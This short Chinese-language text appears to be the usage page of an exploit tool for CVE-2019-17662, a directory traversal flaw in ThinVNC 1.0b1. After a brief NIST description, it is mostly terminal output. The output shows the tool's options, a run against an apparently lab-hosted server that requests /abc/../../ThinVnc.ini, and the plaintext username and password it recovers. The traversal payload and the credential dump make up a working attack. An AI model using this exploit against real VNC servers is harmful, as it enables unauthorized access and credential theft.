ThinVNC 1.0b1 存在任意文件读取漏洞,可导致 VNC 服务器被攻破。即使在部署 VNC 服务器时开启了身份验证,该漏洞仍然存在。身份验证密码以明文形式存储在一个可通过 ../../ThinVnc.ini 目录遍历攻击向量读取的文件中。
~ NIST
$ ./bin/CVE-2019-17662 -h
[~] 用法: ./CVE-2019-17662 -u URL [-f 文件]
[>] 选项:
选项 描述
-u URL Base URL
-f 文件 [可选] 要查询的文件名 (默认: ThinVnc.ini)
$ ./bin/CVE-2019-17662 -u http://10.10.185.214:8080/
[+] CVE-2019-17662 @whokilleddb 编写的漏洞利用工具
[o] 目标 : http://10.10.185.214:8080/
[x] 要读取的文件: ThinVnc.ini
[~] 尝试读取: http://10.10.185.214:8080/abc/../../ThinVnc.ini
[:] 尝试获取凭据
[-] 用户=Atlas
[-] 密码=H0ldUpTheHe@vens